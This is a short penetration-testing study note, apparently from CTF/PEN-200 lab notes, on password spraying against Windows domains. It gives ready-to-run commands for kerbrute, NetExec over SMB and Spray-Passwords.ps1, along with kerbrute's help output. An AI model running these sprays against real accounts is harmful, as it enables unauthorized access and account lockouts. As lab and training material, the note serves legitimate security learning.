> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/creds/online-attacks/password-spraying.md).

# Password Spraying

## Password spraying over Kerberos

### Password spraying with Kerbrute

To spray the specified password (`Nexus123!`) on all users in the specified file

```bash
kerbrute passwordspray -d corp.com usernames.txt "Nexus123!"
```

#### Usage information

<details>

<summary>kerbrute passwordspray -h</summary>

```bash
┌──(kali㉿kali)-[~/OffSec_Courses/PEN-200]
└─$ kerbrute passwordspray -h

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 05/07/26 - Ronnie Flathers @ropnop

Will perform a password spray attack against a list of users using Kerberos Pre-Authentication by requesting a TGT from the KDC.
If no domain controller is specified, the tool will attempt to look one up via DNS SRV records.
A full domain is required. This domain will be capitalized and used as the Kerberos realm when attempting the bruteforce.
Succesful logins will be displayed on stdout.
WARNING: use with caution - failed Kerberos pre-auth can cause account lockouts

Usage:
  kerbrute passwordspray [flags] <username_wordlist> <password>

Flags:
  -h, --help           help for passwordspray
      --user-as-pass   Spray every account with the username as the password

Global Flags:
      --dc string       The location of the Domain Controller (KDC) to target. If blank, will lookup via DNS
      --delay int       Delay in millisecond between each attempt. Will always use single thread if set
  -d, --domain string   The full domain to use (e.g. contoso.com)
  -o, --output string   File to write logs to. Optional.
      --safe            Safe mode. Will abort if any user comes back as locked out. Default: FALSE
  -t, --threads int     Threads to use (default 10)
  -v, --verbose         Log failures and errors

```

</details>

## Password spraying over SMB

### Password spraying with NetExec

Password spraying with a list of users from file and specific known/probable password

{% hint style="info" %}
Info

By default, nxc will exit after a successful login is found. Using the `--continue-on-success` flag will continue spraying even after a valid password is found. Useful for spraying a single password against a large user list.
{% endhint %}

```bash
nxc smb $TARGET_IP -u users.txt -p secret_pw -d domain.local --continue-on-success
```

### Password spraying with Spray-Passwords.ps1&#x20;

To password spray with either a single password (`-Pass`) or a password file (`-File`).

We can also test admin accounts by adding the `-Admin` flag.

Note that **no file with possible usernames** are needed!

```powershell
.\Spray-Passwords.ps1 -Pass Nexus123! -Admin
```

No accounts should be locked out by this script alone, but there are no guarantees. The script reads the password policy and adjust the process automatically!

## Resources

Spray-Passwords.ps1 - ZilentJack - GitHub (WaybackMachine): <https://web.archive.org/web/20220225190046/https://github.com/ZilentJack/Spray-Passwords/blob/master/Spray-Passwords.ps1>